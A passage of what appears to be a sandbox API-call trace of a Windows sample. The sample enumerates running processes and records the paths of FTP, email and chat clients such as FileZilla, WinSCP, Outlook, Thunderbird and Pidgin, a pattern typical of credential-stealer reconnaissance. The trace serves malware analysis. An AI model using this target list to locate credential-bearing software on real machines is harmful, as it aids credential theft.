"c:\\program files (x86)\\reference assemblies\\coreftp.exe")) returned 0x37 [0238.922] wcscpy (in: _Dest=0x178f58, _Source="C:\\Program Files (x86)\\Reference Assemblies\\coreftp.exe" | out: _Dest="C:\\Program Files (x86)\\Reference Assemblies\\coreftp.exe") returned="C:\\Program Files (x86)\\Reference Assemblies\\coreftp.exe" [0238.922] GetProcessTimes (in: hProcess=0x100, lpCreationTime=0x179168, lpExitTime=0x179170, lpKernelTime=0x179178, lpUserTime=0x179180 | out: lpCreationTime=0x179168, lpExitTime=0x179170, lpKernelTime=0x179178, lpUserTime=0x179180) returned 1 [0238.922] CloseHandle (hObject=0x100) returned 1 [0238.922] Process32NextW (in: hSnapshot=0xfc, lppe=0x178d28 | out: lppe=0x178d28*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x804, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x448, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1 [0238.923] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x804) returned 0x100 [0238.923] GetModuleFileNameExW (in: hProcess=0x100, hModule=0x0, lpFilename=0x178b1c, nSize=0x104 | out: lpFilename="C:\\Program Files\\Windows Photo Viewer\\far.exe" (normalized: "c:\\program files\\windows photo viewer\\far.exe")) returned 0x2d [0238.924] wcscpy (in: _Dest=0x178f58, _Source="C:\\Program Files\\Windows Photo Viewer\\far.exe" | out: _Dest="C:\\Program Files\\Windows Photo Viewer\\far.exe") returned="C:\\Program Files\\Windows Photo Viewer\\far.exe" [0238.924] GetProcessTimes (in: hProcess=0x100, lpCreationTime=0x179168, lpExitTime=0x179170, lpKernelTime=0x179178, lpUserTime=0x179180 | out: lpCreationTime=0x179168, lpExitTime=0x179170, lpKernelTime=0x179178, lpUserTime=0x179180) returned 1 [0238.924] CloseHandle (hObject=0x100) returned 1 [0238.924] Process32NextW (in: hSnapshot=0xfc, lppe=0x178d28 | out: lppe=0x178d28*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x448, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1 [0238.924] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x64) returned 0x100 [0238.924] GetModuleFileNameExW (in: hProcess=0x100, hModule=0x0, lpFilename=0x178b1c, nSize=0x104 | out: lpFilename="C:\\Program Files\\Windows NT\\filezilla.exe" (normalized: "c:\\program files\\windows nt\\filezilla.exe")) returned 0x29 [0238.925] wcscpy (in: _Dest=0x178f58, _Source="C:\\Program Files\\Windows NT\\filezilla.exe" | out: _Dest="C:\\Program Files\\Windows NT\\filezilla.exe") returned="C:\\Program Files\\Windows NT\\filezilla.exe" [0238.925] GetProcessTimes (in: hProcess=0x100, lpCreationTime=0x179168, lpExitTime=0x179170, lpKernelTime=0x179178, lpUserTime=0x179180 | out: lpCreationTime=0x179168, lpExitTime=0x179170, lpKernelTime=0x179178, lpUserTime=0x179180) returned 1 [0238.925] CloseHandle (hObject=0x100) returned 1 [0238.925] Process32NextW (in: hSnapshot=0xfc, lppe=0x178d28 | out: lppe=0x178d28*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x448, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1 [0238.925] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x5b0) returned 0x100 [0238.925] GetModuleFileNameExW (in: hProcess=0x100, hModule=0x0, lpFilename=0x178b1c, nSize=0x104 | out: lpFilename="C:\\Program Files\\Common Files\\flashfxp.exe" (normalized: "c:\\program files\\common files\\flashfxp.exe")) returned 0x2a [0238.926] wcscpy (in: _Dest=0x178f58, _Source="C:\\Program Files\\Common Files\\flashfxp.exe" | out: _Dest="C:\\Program Files\\Common Files\\flashfxp.exe") returned="C:\\Program Files\\Common Files\\flashfxp.exe" [0238.926] GetProcessTimes (in: hProcess=0x100, lpCreationTime=0x179168, lpExitTime=0x179170, lpKernelTime=0x179178, lpUserTime=0x179180 | out: lpCreationTime=0x179168, lpExitTime=0x179170, lpKernelTime=0x179178, lpUserTime=0x179180) returned 1 [0238.926] CloseHandle (hObject=0x100) returned 1 [0238.926] Process32NextW (in: hSnapshot=0xfc, lppe=0x178d28 | out: lppe=0x178d28*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x448, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1 [0238.927] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xc4) returned 0x100 [0238.927] GetModuleFileNameExW (in: hProcess=0x100, hModule=0x0, lpFilename=0x178b1c, nSize=0x104 | out: lpFilename="C:\\Program Files (x86)\\Windows NT\\fling.exe" (normalized: "c:\\program files (x86)\\windows nt\\fling.exe")) returned 0x2b [0238.927] wcscpy (in: _Dest=0x178f58, _Source="C:\\Program Files (x86)\\Windows NT\\fling.exe" | out: _Dest="C:\\Program Files (x86)\\Windows NT\\fling.exe") returned="C:\\Program Files (x86)\\Windows NT\\fling.exe" [0238.927] GetProcessTimes (in: hProcess=0x100, lpCreationTime=0x179168, lpExitTime=0x179170, lpKernelTime=0x179178, lpUserTime=0x179180 | out: lpCreationTime=0x179168, lpExitTime=0x179170, lpKernelTime=0x179178, lpUserTime=0x179180) returned 1 [0238.927] CloseHandle (hObject=0x100) returned 1 [0238.927] Process32NextW (in: hSnapshot=0xfc, lppe=0x178d28 | out: lppe=0x178d28*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x62c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x448, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1 [0238.928] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x62c) returned 0x100 [0238.928] GetModuleFileNameExW (in: hProcess=0x100, hModule=0x0, lpFilename=0x178b1c, nSize=0x104 | out: lpFilename="C:\\Program Files\\Windows NT\\foxmailincmail.exe" (normalized: "c:\\program files\\windows nt\\foxmailincmail.exe")) returned 0x2e [0238.928] wcscpy (in: _Dest=0x178f58, _Source="C:\\Program Files\\Windows NT\\foxmailincmail.exe" | out: _Dest="C:\\Program Files\\Windows NT\\foxmailincmail.exe") returned="C:\\Program Files\\Windows NT\\foxmailincmail.exe" [0238.928] GetProcessTimes (in: hProcess=0x100, lpCreationTime=0x179168, lpExitTime=0x179170, lpKernelTime=0x179178, lpUserTime=0x179180 | out: lpCreationTime=0x179168, lpExitTime=0x179170, lpKernelTime=0x179178, lpUserTime=0x179180) returned 1 [0238.928] CloseHandle (hObject=0x100) returned 1 [0238.928] Process32NextW (in: hSnapshot=0xfc, lppe=0x178d28 | out: lppe=0x178d28*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x858, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x448, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1 [0238.929] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x858) returned 0x100 [0238.929] GetModuleFileNameExW (in: hProcess=0x100, hModule=0x0, lpFilename=0x178b1c, nSize=0x104 | out: lpFilename="C:\\Program Files (x86)\\Microsoft OneDrive\\gmailnotifierpro.exe" (normalized: "c:\\program files (x86)\\microsoft onedrive\\gmailnotifierpro.exe")) returned 0x3e [0238.930] wcscpy (in: _Dest=0x178f58, _Source="C:\\Program Files (x86)\\Microsoft OneDrive\\gmailnotifierpro.exe" | out: _Dest="C:\\Program Files (x86)\\Microsoft OneDrive\\gmailnotifierpro.exe") returned="C:\\Program Files (x86)\\Microsoft OneDrive\\gmailnotifierpro.exe" [0238.930] GetProcessTimes (in: hProcess=0x100, lpCreationTime=0x179168, lpExitTime=0x179170, lpKernelTime=0x179178, lpUserTime=0x179180 | out: lpCreationTime=0x179168, lpExitTime=0x179170, lpKernelTime=0x179178, lpUserTime=0x179180) returned 1 [0238.930] CloseHandle (hObject=0x100) returned 1 [0238.930] Process32NextW (in: hSnapshot=0xfc, lppe=0x178d28 | out: lppe=0x178d28*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x448, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1 [0238.930] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x8bc) returned 0x100 [0238.930] GetModuleFileNameExW (in: hProcess=0x100, hModule=0x0, lpFilename=0x178b1c, nSize=0x104 | out: lpFilename="C:\\Program Files (x86)\\Microsoft.NET\\icq.exe" (normalized: "c:\\program files (x86)\\microsoft.net\\icq.exe")) returned 0x2c [0238.931] wcscpy (in: _Dest=0x178f58, _Source="C:\\Program Files (x86)\\Microsoft.NET\\icq.exe" | out: _Dest="C:\\Program Files (x86)\\Microsoft.NET\\icq.exe") returned="C:\\Program Files (x86)\\Microsoft.NET\\icq.exe" [0238.931] GetProcessTimes (in: hProcess=0x100, lpCreationTime=0x179168, lpExitTime=0x179170, lpKernelTime=0x179178, lpUserTime=0x179180 | out: lpCreationTime=0x179168, lpExitTime=0x179170, lpKernelTime=0x179178, lpUserTime=0x179180) returned 1 [0238.931] CloseHandle (hObject=0x100) returned 1 [0238.931] Process32NextW (in: hSnapshot=0xfc, lppe=0x178d28 | out: lppe=0x178d28*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x448, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1 [0238.932] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x8e0) returned 0x100 [0238.932] GetModuleFileNameExW (in: hProcess=0x100, hModule=0x0, lpFilename=0x178b1c, nSize=0x104 | out: lpFilename="C:\\Program Files\\Windows Journal\\leechftp.exe" (normalized: "c:\\program files\\windows journal\\leechftp.exe")) returned 0x2d [0238.932] wcscpy (in: _Dest=0x178f58, _Source="C:\\Program Files\\Windows Journal\\leechftp.exe" | out: _Dest="C:\\Program Files\\Windows Journal\\leechftp.exe") returned="C:\\Program Files\\Windows Journal\\leechftp.exe" [0238.932] GetProcessTimes (in: hProcess=0x100, lpCreationTime=0x179168, lpExitTime=0x179170, lpKernelTime=0x179178, lpUserTime=0x179180 | out: lpCreationTime=0x179168, lpExitTime=0x179170, lpKernelTime=0x179178, lpUserTime=0x179180) returned 1 [0238.932] CloseHandle (hObject=0x100) returned 1 [0238.932] Process32NextW (in: hSnapshot=0xfc, lppe=0x178d28 | out: lppe=0x178d28*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x918, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x448, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1 [0238.933] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x918) returned 0x100 [0238.933] GetModuleFileNameExW (in: hProcess=0x100, hModule=0x0, lpFilename=0x178b1c, nSize=0x104 | out: lpFilename="C:\\Program Files (x86)\\Windows Mail\\ncftp.exe" (normalized: "c:\\program files (x86)\\windows mail\\ncftp.exe")) returned 0x2d [0238.933] wcscpy (in: _Dest=0x178f58, _Source="C:\\Program Files (x86)\\Windows Mail\\ncftp.exe" | out: _Dest="C:\\Program Files (x86)\\Windows Mail\\ncftp.exe") returned="C:\\Program Files (x86)\\Windows Mail\\ncftp.exe" [0238.933] GetProcessTimes (in: hProcess=0x100, lpCreationTime=0x179168, lpExitTime=0x179170, lpKernelTime=0x179178, lpUserTime=0x179180 | out: lpCreationTime=0x179168, lpExitTime=0x179170, lpKernelTime=0x179178, lpUserTime=0x179180) returned 1 [0238.933] CloseHandle (hObject=0x100) returned 1 [0238.933] Process32NextW (in: hSnapshot=0xfc, lppe=0x178d28 | out: lppe=0x178d28*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x92c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x448, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1 [0239.541] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x92c) returned 0x100 [0239.542] GetModuleFileNameExW (in: hProcess=0x100, hModule=0x0, lpFilename=0x178b1c, nSize=0x104 | out: lpFilename="C:\\Program Files\\Common Files\\notepad.exe" (normalized: "c:\\program files\\common files\\notepad.exe")) returned 0x29 [0239.542] wcscpy (in: _Dest=0x178f58, _Source="C:\\Program Files\\Common Files\\notepad.exe" | out: _Dest="C:\\Program Files\\Common Files\\notepad.exe") returned="C:\\Program Files\\Common Files\\notepad.exe" [0239.543] GetProcessTimes (in: hProcess=0x100, lpCreationTime=0x179168, lpExitTime=0x179170, lpKernelTime=0x179178, lpUserTime=0x179180 | out: lpCreationTime=0x179168, lpExitTime=0x179170, lpKernelTime=0x179178, lpUserTime=0x179180) returned 1 [0239.543] CloseHandle (hObject=0x100) returned 1 [0239.543] Process32NextW (in: hSnapshot=0xfc, lppe=0x178d28 | out: lppe=0x178d28*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x96c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x448, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1 [0239.544] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x96c) returned 0x100 [0239.544] GetModuleFileNameExW (in: hProcess=0x100, hModule=0x0, lpFilename=0x178b1c, nSize=0x104 | out: lpFilename="C:\\Program Files\\Windows NT\\operamail.exe" (normalized: "c:\\program files\\windows nt\\operamail.exe")) returned 0x29 [0239.544] wcscpy (in: _Dest=0x178f58, _Source="C:\\Program Files\\Windows NT\\operamail.exe" | out: _Dest="C:\\Program Files\\Windows NT\\operamail.exe") returned="C:\\Program Files\\Windows NT\\operamail.exe" [0239.544] GetProcessTimes (in: hProcess=0x100, lpCreationTime=0x179168, lpExitTime=0x179170, lpKernelTime=0x179178, lpUserTime=0x179180 | out: lpCreationTime=0x179168, lpExitTime=0x179170, lpKernelTime=0x179178, lpUserTime=0x179180) returned 1 [0239.544] CloseHandle (hObject=0x100) returned 1 [0239.544] Process32NextW (in: hSnapshot=0xfc, lppe=0x178d28 | out: lppe=0x178d28*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x988, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x448, pcPriClassBase=8, dwFlags=0x0, szExeFile="outlook.exe")) returned 1 [0239.545] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x988) returned 0x100 [0239.546] GetModuleFileNameExW (in: hProcess=0x100, hModule=0x0, lpFilename=0x178b1c, nSize=0x104 | out: lpFilename="C:\\Program Files (x86)\\Reference Assemblies\\outlook.exe" (normalized: "c:\\program files (x86)\\reference assemblies\\outlook.exe")) returned 0x37 [0239.546] wcscpy (in: _Dest=0x178f58, _Source="C:\\Program Files (x86)\\Reference Assemblies\\outlook.exe" | out: _Dest="C:\\Program Files (x86)\\Reference Assemblies\\outlook.exe") returned="C:\\Program Files (x86)\\Reference Assemblies\\outlook.exe" [0239.546] GetProcessTimes (in: hProcess=0x100, lpCreationTime=0x179168, lpExitTime=0x179170, lpKernelTime=0x179178, lpUserTime=0x179180 | out: lpCreationTime=0x179168, lpExitTime=0x179170, lpKernelTime=0x179178, lpUserTime=0x179180) returned 1 [0239.546] CloseHandle (hObject=0x100) returned 1 [0239.546] Process32NextW (in: hSnapshot=0xfc, lppe=0x178d28 | out: lppe=0x178d28*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x990, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x448, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1 [0239.547] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x990) returned 0x100 [0239.547] GetModuleFileNameExW (in: hProcess=0x100, hModule=0x0, lpFilename=0x178b1c, nSize=0x104 | out: lpFilename="C:\\Program Files (x86)\\Uninstall Information\\pidgin.exe" (normalized: "c:\\program files (x86)\\uninstall information\\pidgin.exe")) returned 0x37 [0239.548] wcscpy (in: _Dest=0x178f58, _Source="C:\\Program Files (x86)\\Uninstall Information\\pidgin.exe" | out: _Dest="C:\\Program Files (x86)\\Uninstall Information\\pidgin.exe") returned="C:\\Program Files (x86)\\Uninstall Information\\pidgin.exe" [0239.548] GetProcessTimes (in: hProcess=0x100, lpCreationTime=0x179168, lpExitTime=0x179170, lpKernelTime=0x179178, lpUserTime=0x179180 | out: lpCreationTime=0x179168, lpExitTime=0x179170, lpKernelTime=0x179178, lpUserTime=0x179180) returned 1 [0239.548] CloseHandle (hObject=0x100) returned 1 [0239.548] Process32NextW (in: hSnapshot=0xfc, lppe=0x178d28 | out: lppe=0x178d28*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x998, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x448, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1 [0239.549] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x998) returned 0x100 [0239.549] GetModuleFileNameExW (in: hProcess=0x100, hModule=0x0, lpFilename=0x178b1c, nSize=0x104 | out: lpFilename="C:\\Program Files (x86)\\Windows Mail\\scriptftp.exe" (normalized: "c:\\program files (x86)\\windows mail\\scriptftp.exe")) returned 0x31 [0239.549] wcscpy (in: _Dest=0x178f58, _Source="C:\\Program Files (x86)\\Windows Mail\\scriptftp.exe" | out: _Dest="C:\\Program Files (x86)\\Windows Mail\\scriptftp.exe") returned="C:\\Program Files (x86)\\Windows Mail\\scriptftp.exe" [0239.549] GetProcessTimes (in: hProcess=0x100, lpCreationTime=0x179168, lpExitTime=0x179170, lpKernelTime=0x179178, lpUserTime=0x179180 | out: lpCreationTime=0x179168, lpExitTime=0x179170, lpKernelTime=0x179178, lpUserTime=0x179180) returned 1 [0239.550] CloseHandle (hObject=0x100) returned 1 [0239.550] Process32NextW (in: hSnapshot=0xfc, lppe=0x178d28 | out: lppe=0x178d28*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x448, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1 [0239.551] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x9a0) returned 0x100 [0239.551] GetModuleFileNameExW (in: hProcess=0x100, hModule=0x0, lpFilename=0x178b1c, nSize=0x104 | out: lpFilename="C:\\Program Files (x86)\\Reference Assemblies\\skype.exe" (normalized: "c:\\program files (x86)\\reference assemblies\\skype.exe")) returned 0x35 [0239.551] wcscpy (in: _Dest=0x178f58, _Source="C:\\Program Files (x86)\\Reference Assemblies\\skype.exe" | out: _Dest="C:\\Program Files (x86)\\Reference Assemblies\\skype.exe") returned="C:\\Program Files (x86)\\Reference Assemblies\\skype.exe" [0239.551] GetProcessTimes (in: hProcess=0x100, lpCreationTime=0x179168, lpExitTime=0x179170, lpKernelTime=0x179178, lpUserTime=0x179180 | out: lpCreationTime=0x179168, lpExitTime=0x179170, lpKernelTime=0x179178, lpUserTime=0x179180) returned 1 [0239.551] CloseHandle (hObject=0x100) returned 1 [0239.551] Process32NextW (in: hSnapshot=0xfc, lppe=0x178d28 | out: lppe=0x178d28*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x448, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1 [0239.552] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x9a8) returned 0x100 [0239.552] GetModuleFileNameExW (in: hProcess=0x100, hModule=0x0, lpFilename=0x178b1c, nSize=0x104 | out: lpFilename="C:\\Program Files (x86)\\WindowsPowerShell\\smartftp.exe" (normalized: "c:\\program files (x86)\\windowspowershell\\smartftp.exe")) returned 0x35 [0239.553] wcscpy (in: _Dest=0x178f58, _Source="C:\\Program Files (x86)\\WindowsPowerShell\\smartftp.exe" | out: _Dest="C:\\Program Files (x86)\\WindowsPowerShell\\smartftp.exe") returned="C:\\Program Files (x86)\\WindowsPowerShell\\smartftp.exe" [0239.553] GetProcessTimes (in: hProcess=0x100, lpCreationTime=0x179168, lpExitTime=0x179170, lpKernelTime=0x179178, lpUserTime=0x179180 | out: lpCreationTime=0x179168, lpExitTime=0x179170, lpKernelTime=0x179178, lpUserTime=0x179180) returned 1 [0239.553] CloseHandle (hObject=0x100) returned 1 [0239.553] Process32NextW (in: hSnapshot=0xfc, lppe=0x178d28 | out: lppe=0x178d28*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x97c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x448, pcPriClassBase=8, dwFlags=0x0, szExeFile="thunderbird.exe")) returned 1 [0239.554] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x97c) returned 0x100 [0239.554] GetModuleFileNameExW (in: hProcess=0x100, hModule=0x0, lpFilename=0x178b1c, nSize=0x104 | out: lpFilename="C:\\Program Files (x86)\\Common Files\\thunderbird.exe" (normalized: "c:\\program files (x86)\\common files\\thunderbird.exe")) returned 0x33 [0239.554] wcscpy (in: _Dest=0x178f58, _Source="C:\\Program Files (x86)\\Common Files\\thunderbird.exe" | out: _Dest="C:\\Program Files (x86)\\Common Files\\thunderbird.exe") returned="C:\\Program Files (x86)\\Common Files\\thunderbird.exe" [0239.555] GetProcessTimes (in: hProcess=0x100, lpCreationTime=0x179168, lpExitTime=0x179170, lpKernelTime=0x179178, lpUserTime=0x179180 | out: lpCreationTime=0x179168, lpExitTime=0x179170, lpKernelTime=0x179178, lpUserTime=0x179180) returned 1 [0239.555] CloseHandle (hObject=0x100) returned 1 [0239.555] malloc (_Size=0xd380) returned 0x1ead3d8 [0239.556] free (_Block=0x1ea46d0) [0239.556] Process32NextW (in: hSnapshot=0xfc, lppe=0x178d28 | out: lppe=0x178d28*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x978, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x448, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1 [0239.557] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x978) returned 0x100 [0239.557] GetModuleFileNameExW (in: hProcess=0x100, hModule=0x0, lpFilename=0x178b1c, nSize=0x104 | out: lpFilename="C:\\Program Files (x86)\\Common Files\\trillian.exe" (normalized: "c:\\program files (x86)\\common files\\trillian.exe")) returned 0x30 [0239.557] wcscpy (in: _Dest=0x178f58, _Source="C:\\Program Files (x86)\\Common Files\\trillian.exe" | out: _Dest="C:\\Program Files (x86)\\Common Files\\trillian.exe") returned="C:\\Program Files (x86)\\Common Files\\trillian.exe" [0239.557] GetProcessTimes (in: hProcess=0x100, lpCreationTime=0x179168, lpExitTime=0x179170, lpKernelTime=0x179178, lpUserTime=0x179180 | out: lpCreationTime=0x179168, lpExitTime=0x179170, lpKernelTime=0x179178, lpUserTime=0x179180) returned 1 [0239.557] CloseHandle (hObject=0x100) returned 1 [0239.557] Process32NextW (in: hSnapshot=0xfc, lppe=0x178d28 | out: lppe=0x178d28*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb58, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x448, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1 [0239.558] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xb58) returned 0x100 [0239.558] GetModuleFileNameExW (in: hProcess=0x100, hModule=0x0, lpFilename=0x178b1c, nSize=0x104 | out: lpFilename="C:\\Program Files\\Windows Portable Devices\\webdrive.exe" (normalized: "c:\\program files\\windows portable devices\\webdrive.exe")) returned 0x36 [0239.559] wcscpy (in: _Dest=0x178f58, _Source="C:\\Program Files\\Windows Portable Devices\\webdrive.exe" | out: _Dest="C:\\Program Files\\Windows Portable Devices\\webdrive.exe") returned="C:\\Program Files\\Windows Portable Devices\\webdrive.exe" [0239.559] GetProcessTimes (in: hProcess=0x100, lpCreationTime=0x179168, lpExitTime=0x179170, lpKernelTime=0x179178, lpUserTime=0x179180 | out: lpCreationTime=0x179168, lpExitTime=0x179170, lpKernelTime=0x179178, lpUserTime=0x179180) returned 1 [0239.559] CloseHandle (hObject=0x100) returned 1 [0239.559] Process32NextW (in: hSnapshot=0xfc, lppe=0x178d28 | out: lppe=0x178d28*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x448, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1 [0239.560] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xb60) returned 0x100 [0239.560] GetModuleFileNameExW (in: hProcess=0x100, hModule=0x0, lpFilename=0x178b1c, nSize=0x104 | out: lpFilename="C:\\Program Files\\Windows Journal\\whatsapp.exe" (normalized: "c:\\program files\\windows journal\\whatsapp.exe")) returned 0x2d [0239.560] wcscpy (in: _Dest=0x178f58, _Source="C:\\Program Files\\Windows Journal\\whatsapp.exe" | out: _Dest="C:\\Program Files\\Windows Journal\\whatsapp.exe") returned="C:\\Program Files\\Windows Journal\\whatsapp.exe" [0239.560] GetProcessTimes (in: hProcess=0x100, lpCreationTime=0x179168, lpExitTime=0x179170, lpKernelTime=0x179178, lpUserTime=0x179180 | out: lpCreationTime=0x179168, lpExitTime=0x179170, lpKernelTime=0x179178, lpUserTime=0x179180) returned 1 [0239.561] CloseHandle (hObject=0x100) returned 1 [0239.561] Process32NextW (in: hSnapshot=0xfc, lppe=0x178d28 | out: lppe=0x178d28*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb68, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x448, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1 [0239.561] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xb68) returned 0x100 [0239.562] GetModuleFileNameExW (in: hProcess=0x100, hModule=0x0, lpFilename=0x178b1c, nSize=0x104 | out: lpFilename="C:\\Program Files (x86)\\Windows Media Player\\winscp.exe" (normalized: "c:\\program files (x86)\\windows media player\\winscp.exe")) returned 0x36 [0239.562] wcscpy (in: _Dest=0x178f58, _Source="C:\\Program Files (x86)\\Windows Media Player\\winscp.exe" | out: _Dest="C:\\Program Files (x86)\\Windows Media Player\\winscp.exe") returned="C:\\Program Files (x86)\\Windows Media Player\\winscp.exe" [0239.562] GetProcessTimes (in: hProcess=0x100, lpCreationTime=0x179168, lpExitTime=0x179170, lpKernelTime=0x179178, lpUserTime=0x179180 | out: lpCreationTime=0x179168, lpExitTime=0x179170, lpKernelTime=0x179178, lpUserTime=0x179180) returned 1 [0239.562] CloseHandle (hObject=0x100) returned 1 [0239.562] Process32NextW (in: hSnapshot=0xfc, lppe=0x178d28 | out: lppe=0x178d28*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x448, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1 [0239.563] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xb70) returned 0x100 [0239.563] GetModuleFileNameExW (in: hProcess=0x100, hModule=0x0, lpFilename=0x178b1c, nSize=0x104 | out: lpFilename="C:\\Program Files (x86)\\Common Files\\yahoomessenger.exe" (normalized: "c:\\program files (x86)\\common files\\yahoomessenger.exe")) returned 0x36 [0239.564] wcscpy (in: _Dest=0x178f58, _Source="C:\\Program Files (x86)\\Common Files\\yahoomessenger.exe" | out: _Dest="C:\\Program Files (x86)\\Common Files\\yahoomessenger.exe") returned="C:\\Program Files (x86)\\Common Files\\yahoomessenger.exe" [0239.564] GetProcessTimes (in: hProcess=0x100, lpCreationTime=0x179168, lpExitTime=0x179170, lpKernelTime=0x179178, lpUserTime=0x179180 | out: lpCreationTime=0x179168, lpExitTime=0x179170, lpKernelTime=0x179178, lpUserTime=0x179180) returned 1 [0239.564] CloseHandle (hObject=0x100) returned 1 [0239.564] Process32NextW (in: hSnapshot=0xfc, lppe=0x178d28 | out: lppe=0x178d28*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb78, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x448, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1 [0239.565] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xb78) returned 0x100 [0239.565] GetModuleFileNameExW (in: 